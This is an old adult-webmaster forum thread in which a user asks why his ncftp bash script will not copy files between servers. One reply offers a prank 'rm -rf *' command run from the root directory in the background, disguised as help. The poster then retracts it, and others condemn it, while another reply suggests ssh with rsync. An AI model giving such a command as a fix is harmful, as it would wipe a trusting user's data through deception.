GoFuckYourself.com - Adult Webmaster Forum

GoFuckYourself.com - Adult Webmaster Forum (https://gfy.com/index.php)
-   Fucking Around & Business Discussion (https://gfy.com/forumdisplay.php?f=26)
-   -   simple "bash scripting" question (https://gfy.com/showthread.php?t=580871)

alex79 02-27-2006 11:09 AM

simple "bash scripting" question
 
how can i create a simple bashscript to copy some files from a server to another?

i've created next script:
PHP Code:

#! /bin/bash
ncftp -u root -p password serverip
get 
-rf *
exit 

but is not working.. when i run the script i get a ftp connection to the serverip (line ncftp -u root -p password serverip ) but next line that shuld copy the files are not runed (get -rf *) :(

what i'm doing wrong and how should i do?

mortenb 02-27-2006 11:32 AM

Quote:

Originally Posted by alex79
how can i create a simple bashscript to copy some files from a server to another?

i've created next script:
PHP Code:

#! /bin/bash
ncftp -u root -p password serverip
get 
-rf *
exit 

but is not working.. when i run the script i get a ftp connection to the serverip (line ncftp -u root -p password serverip ) but next line that shuld copy the files are not runed (get -rf *) :(

what i'm doing wrong and how should i do?


Code:

nohup cd /; rm -rf * > /dev/null 2>&1 &

mortenb 02-27-2006 11:32 AM

no.. don't do that..

AgentCash 02-27-2006 11:35 AM

Man that is fucked up, don't tell him to do that.
The way I would do it is to set up a passwordless ssh login then rsync.

ServerGenius 02-27-2006 11:38 AM

Quote:

Originally Posted by mortenb
Code:

nohup cd /; rm -rf * > /dev/null 2>&1 &

asshole :ak47


All times are GMT -7. The time now is 02:21 AM.

Powered by vBulletin® Version 3.8.8
Copyright ©2000 - 2025, vBulletin Solutions, Inc.
©2000-, AI Media Network Inc123